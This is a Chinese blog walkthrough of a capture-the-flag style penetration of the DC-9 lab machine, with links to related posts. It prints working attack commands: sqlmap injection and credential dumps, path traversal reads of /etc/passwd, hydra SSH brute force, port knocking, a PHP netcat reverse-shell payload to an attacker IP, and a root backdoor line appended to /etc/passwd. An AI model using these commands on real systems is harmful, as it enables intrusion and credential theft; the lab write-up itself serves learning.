DC-9 靶机渗透测试
DC-9 渗透测试
冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已。
靶机IP: 172.66.66.139
kali IP: 172.66.66.129
网络模式 NAT
netdiscover
拿到靶机ip 172.66.66.139
nmap -sV -A -p- -oN /tmp/dc-9.nmap
22端口的状态时 filtered (被过滤的,不能确定是否开放)。80开放。
#看到 SSH的22端口是filtered ,猜想是否装了 knockd 工具隐藏了服务
/etc/knockd.conf
dirb http://172.66.66.139
没有发现重要信息
访问80端口,未能识别出CMS 名称。
首页是 exmple.com 全体员工信息,还有展示、搜索、登录三个界面,研究一下网页源代码。
如RFC 2606和RFC 6761所述,为了文档目的,保留多个域名,如example.com和example.org。这些域可以在文档中用作说明性示例,而无需事先与我们协调。它们无法注册或转让。
先尝试注入,再账号密码爆破,因为有用的信息太少了。bp抓包开起来。
搜索框注入无果.....
我嘞个去...瞎了瞎了 ,搜索框所在的页面是
/search.php
,抓包看了下,没注意请求头 的是 /results.php
仔细看,
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' --dbs
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users --tables
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails --columns
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
仿佛都是普通用户,随便一个试试 marym | 3kfs86sfd
登不进去...换一个数据库看看。
sqlmap -u http://172.66.66.139/results.php --data 'search=mary' -D Staff -T Users -C Username,Password --dump
爆出来,admin: transorbital1
发现没有过滤? 写个反弹shell <?php system("nc -e /bin/bash 172.66.66.129 8888");?>
字段有长度限制...查看源代码发现不是 前端限制,那应该是后端的长度限制,这时候考虑拼接传入shell
行吧,暂时考虑不出来,我太菜了。
看到网页底部脚标的footer标签 <footer>File does not exist</footer>
难道是有文件包含吗?,整一下试试。盲猜一下是 ?file= ,再试路径
试出来url :?file=../../../../etc/passwd
。当包含不出来的时候,别着急,多试试,多写几个点点杠进去
服务器是Apache,试着包含一下配置文件,尴尬,找不到phpinfo.php位置,也找不到Apache配置文件的位置...
在/etc/passwd 中,发现了一些账号是在前面的sqlmap中爆破出来的,他应该是ssh登录的账号,但是ssh好像是关闭的,不对呀,有情况。
因为ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd的配置文件 /etc/knockd.conf
。 ?file=../../../../etc/knockd.conf
这样看着有点乱,拿出来看调整一下格式,加入自己的理解,如下:
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842 # 打开ssh 22访问的三个操作端口 ;
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 # 关闭ssh 22访问的三个操作端口
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
tcpflags = syn
解释:
Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。
OpenSSH:该字段包括序列、序列超时、命令和tcp标志。
Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。
Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。
command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。
依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了
在kali中执行如下命令:
1) 使用7469/8475/9842队列号敲门登录:
nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842; do nmap -p $x 172.66.66.139; done
关闭的话也同理: 使用9842/8475/7469队列号关门
for x in 9842 8475 7469; do nmap -p $x 192.168.1.38; done
ssh打开之后,账号密码登录。在上面的sqlmap爆破中我们
| username | password |
+--------------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0
这么多个账号,怎么知道哪个账号是可以登录的呢?当然可以逐一去试,还有别的办法吗?当然有,hydra
hydra -L /tmp/dc-9-user.txt -P dc-9-passwd.txt 172.66.66.139 ssh -t 30
[22][ssh] host: 172.66.66.139 login: chandlerb password: UrAG0D!
[22][ssh] host: 172.66.66.139 login: joeyt password: Passw0rd
[22][ssh] host: 172.66.66.139 login: janitor password: Ilovepeepee
仔细看每一个账号里的文件,检查。用 ls -alF
看到
cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
| bettyr | BamBam01 |
| joeyt | Passw0rd |
| phoebeb | smellycats |
在数据库爆出的账号中匹配到了三个,检查完当前账号后去看看这三个账号。
joeyt是前面hydra出来能登录的其中一个,上面的密码中,也只有这个能登录。
正经开始提权:收集有用信息
joeyt@dc-9:~/.gnupg$ uname -a
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
# Debian 4.19.67
提权整了半天,没进展,回过头来看,刚刚拿到的密码,难道没有其他用处了吗,要不要加进去 dc-9-passwd.txt 里再重新hydra爆一下呢? 要,很有必要,真是没想到呀。
fredf : B4-Tru3-001
第一个账号是新的,ssh登录
仿佛有希望。到该目录下研究研究test。
fredf@dc-9:/opt/devstuff/dist$ ls
test
fredf@dc-9:/opt/devstuff/dist$ cd test
linux里 .so 后缀文件是啥东东?
一般来说, .so 是基于linux下的动态链接,其功能相和作用相当于windows.dll文件。
linux 中的.so和.a文件 - 心田居士 - 博客园 (cnblogs.com) 看这里。
/opt/devstuff/dist/test/test 这一层好像没什么好看的,
SPEC文件扩展名可以是指由被叫的rpmbuild程序中使用的文本文件。这个程序是用来建立RPM包。 RPM代表Red Hat软件包管理。这些软件包用于安装Linux程序。该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包。
#在这一级看到了 test.py
-----------------------------------------------------------
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys #包含sys后 才能用sys.argv
if len (sys.argv) != 3 : #sys.argv[1] 是文件本身
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。
output = (f.read())
f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。
f.write(output) #写入内容
f.close() # 关闭
------------------------------------------------------------
#只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里。
先来学习:sys.argv[ ],是一个从外部程序获得参数的桥梁,获取的参数可以是多个,所以它会是一个列表(list),也就是说,sys.argv其实是一个列表,用[ ] 提取其中的元素,第一个元素 sys.argv[0] 是程序本身,后面才是一次输入的外部参数。
#test.py
inport sys
a=sys.agrv[0]
print(a) # 输出 test.py,也就是说sys.agrv[0] 的值是文件本身
#########################
#改一下代码
#test.py
inport sys
a=sys.agrv[1] #从sys.argv[1]开始才是传入的参数
print(a)
# 测试传参what输进去:test.py what
# 输出 就是 what
回到靶机,按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/a 里,再脚本追加写入 /etc/passwd 里。
写之前是不是得先生成一个加密后的密码呢? linux里有个 openshell ,这是可以用来生成密码的。那么,linux /etc/passwd 是用什么加密方式的呢?MD5
root@kali:~# openssl passwd -1
Password: #123456
Verifying - Password: #123456
$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
语法格式: openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1:表示采用的是MD5加密算法。
-salt:指定salt值(加盐),不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
示例:
[tom@localhost ~]$ openssl passwd -1 -salt '12345678' ##注意‘12345678’不是密码而是密码的长度
Password: ##这里输入的是密码
$1$12345678$1qWiC4czIc07B4J8bPjfC0 ##这是生成的密文密码
##将生成的密码串,手动添加到/etc/shadow中就可用作用户的登陆密码了。
先试试不加密码的账号,echo 'axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash'
怎么不行呢...阿裂开,双引号用错了,得用单引号......
passwd的格式: [⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]
axb:$1$q9wyBxgg$qXauf8gLc.b7Y8z5xbIaf0:0:0:::/bin/bash
再对比一下 passwd 文件里的 root 的是怎样的
root:x:0:0:root:/root:/bin/bash
仿佛是命令用错了,改一下 openssl 的命令,加点盐,写上用户。
openssl passwd -1 -salt ccc 123456 ##构造ccc用户密码为123456的hash
ccc:$1$ccc$tK1vhSYd21dUn8Z0EC/Pl0:0:0:root:/root:/bin/bash
最后:
- 对文件包含敏感度不够,看到 脚标 的
File does not exist
,竟然没有意识到 文件包含。- 归纳总结:/etc下有什么重要的文件,都累出来。(详情出门右转个人笔记),也可以爆破,也是能出来
- 看到有文件包含,就先用fuzz来跑一跑。
- hydra 账号密码爆破工具,支持多种协议。
- 以后用ls 命令,建议都用这个
ls -alF
-a显示隐藏文件, -l显示文件详细信息, -F显示文件的类别(文件夹后有/
,可执行文件前有*
,文件等,看到你就知道了)su - root
切换到root用户,并改变环境变量。- DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已啊。
DC-9 靶机渗透测试的更多相关文章
- DC-1 靶机渗透测试
DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...
- DC-5 靶机渗透测试
DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...
- DC-2 靶机渗透测试
DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...
- DC-7 靶机渗透测试
DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...
- DC-8 靶机渗透测试
DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...
- DC-6 靶机渗透测试
DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...
- DC-4 靶机渗透测试
DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
随机推荐
- Acwing Arithmetic Learning:数据结构(2)
目录 数据结构(2)acwing 1.trie树 2.并查集(近乎O(1)) 3.堆 数据结构(2)acwing 1.trie树 快速存储和查找字符串的集合 结构特征: 例题:Trie字符串统计 ? ...
- SpringBoot项目创建流程--SpringMVC
SpringBoot项目创建步骤 1. 创建SpringBoot工程 (1) File → New → Project → Spring Initilizr (2) Name:MySpringBoot ...
- MaterialDesignInXamlToolkit“无法绑定到目标方法,因其签名或安全透明度与委托类型的签名或安全透明度不兼容”异常的解决思路
前言: 最初是想解答园友"小代码大世界 "的问题,后来想举一反三,将这个问题简单剖析下,做到知其所以然. MaterialDesignInXAML 控件库高度封装,有一些控件在使用 ...
- Java基础篇(JVM)——类加载机制
这是Java基础篇(JVM)的第二篇文章,紧接着上一篇字节码详解,这篇我们来详解Java的类加载机制,也就是如何把字节码代表的类信息加载进入内存中. 我们知道,不管是根据类新建对象,还是直接使用类变量 ...
- 28、python3.7(windows)将ORACLE11gR2中的数据取出写入excel表
28.1.下载python的离线扩展模块: 1.windows下python的离线扩展模块下载地址为: https://www.lfd.uci.edu/~gohlke/pythonlibs/ 提示: ...
- 38、linux中软件的安装方法
38.1.rpm安装: rpm -ivh 包名# i:安装的软件: v:显示正在安装的软件信息: h:显示安装软件的进度: rpm -ql 包名 #查看安装包里的文件: rpm -qa 包名#查询包是 ...
- 18、mysql读写分离实现的方法
18.1.mysql读写分离实现的方法: 1.通过程序实现读写分离: php和java程序实现读写分离(性能,效率最佳,推荐); php和java程序都可以通过设置多个连接文件轻松实现对数据库的读写分 ...
- 手把手教会你远程Linux虚拟机连接以及配置pytorch环境。
出一期用于连接远程Ubuntu系统并配置pytorch环境的教学.2021-07-07 13:35:57- 现在的矿难导致显卡大幅度的涨价对很多要做深度学习领域的小伙伴们非常的不友好,配置设备固然要掏 ...
- MyBatis框架的使用解析!数据库相关API的基本介绍
动态SQL if 根据条件包含where子句的一部分 <select id="findActiveBlogLike" resultType="Blog"& ...
- WebContent的子目录里面的jsp文件无法将数据传递给Servlet
在WebContent下创建子目录FormCheck,register.jsp将跳转到RegisterServlet这个Servlet中去 分两种情况:在web.xml里面配置 和 使用注解 1.在w ...